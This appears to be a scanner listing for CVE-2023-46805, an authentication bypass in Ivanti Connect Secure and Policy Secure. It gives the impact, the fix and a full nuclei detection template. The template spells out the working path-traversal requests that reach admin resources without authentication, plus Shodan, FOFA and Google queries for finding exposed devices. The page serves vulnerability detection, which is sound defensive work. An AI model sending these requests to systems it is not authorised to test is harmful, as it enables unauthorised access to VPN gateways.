Ivanti ICS - Authentication Bypass

Exploited in the wild. Listed by CISA on 2024-01-10; known to be used by ransomware.

highseverity

8.2CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

An authentication bypass vulnerability in the web component of Ivanti ICS 9.x, 22.x and Ivanti Policy Secure allows a remote attacker to access restricted resources by bypassing control checks.

Impact

Unauthenticated attackers can bypass authentication controls and access restricted administrative resources, potentially exposing sensitive configuration data.

Fix

Upgrade Ivanti Connect Secure and Policy Secure to the latest patched versions as provided in the vendor advisory.

How to confirm it

Send: GET /api/v1/totp/user-backup-code/../../system/system-information ; GET /api/v1/cav/client/status/../../admin/options
Positive when: status_code_1 == 200 and contains_all(body_1, "build", "system-information", "software-inventory") and contains(header_1, "application/json") OR status_code_2 == 200 and contains_all(body_2, "poll_interval\": 300", "block_message\": \"") and contains(header_2, "application/json")

Run it with nuclei: nuclei -id CVE-2023-46805 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-46805

info:
  name: Ivanti ICS - Authentication Bypass
  author: DhiyaneshDK,daffainfo,geeknik
  severity: high
  description: An authentication bypass vulnerability in the web component of Ivanti ICS 9.x, 22.x and Ivanti Policy Secure allows a remote attacker to access restricted resources by bypassing control checks.
  impact: |
    Unauthenticated attackers can bypass authentication controls and access restricted administrative resources, potentially exposing sensitive configuration data.
  remediation: |
    Upgrade Ivanti Connect Secure and Policy Secure to the latest patched versions as provided in the vendor advisory.
  reference:
    - https://forums.ivanti.com/s/article/CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US
    - https://nvd.nist.gov/vuln/detail/CVE-2023-46805
    - http://packetstormsecurity.com/files/176668/Ivanti-Connect-Secure-Unauthenticated-Remote-Code-Execution.html
    - https://github.com/H4lo/awesome-IoT-security-article
    - https://github.com/inguardians/ivanti-VPN-issues-2024-research
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 8.2
    cve-id: CVE-2023-46805
    cwe-id: CWE-287
    epss-score: 0.99984
    epss-percentile: 0.99983
    cpe: cpe:2.3:a:ivanti:connect_secure:9.0:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: ivanti
    product: connect_secure
    shodan-query: "html:\"welcome.cgi?p=logo\""
    fofa-query: body="welcome.cgi?p=logo"
    google-query: intitle:"ivanti connect secure"
  tags: packetstorm,cve,cve2023,kev,auth-bypass,ivanti,vkev,vuln

http:
  - raw:
      - |
        GET /api/v1/totp/user-backup-code/../../system/system-information HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /api/v1/cav/client/status/../../admin/options HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200'
          - 'contains_all(body_1, "build", "system-information", "software-inventory")'
          - 'contains(header_1, "application/json")'
        condition: and

      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains_all(body_2, "poll_interval\": 300", "block_message\": \"")'
          - 'contains(header_2, "application/json")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from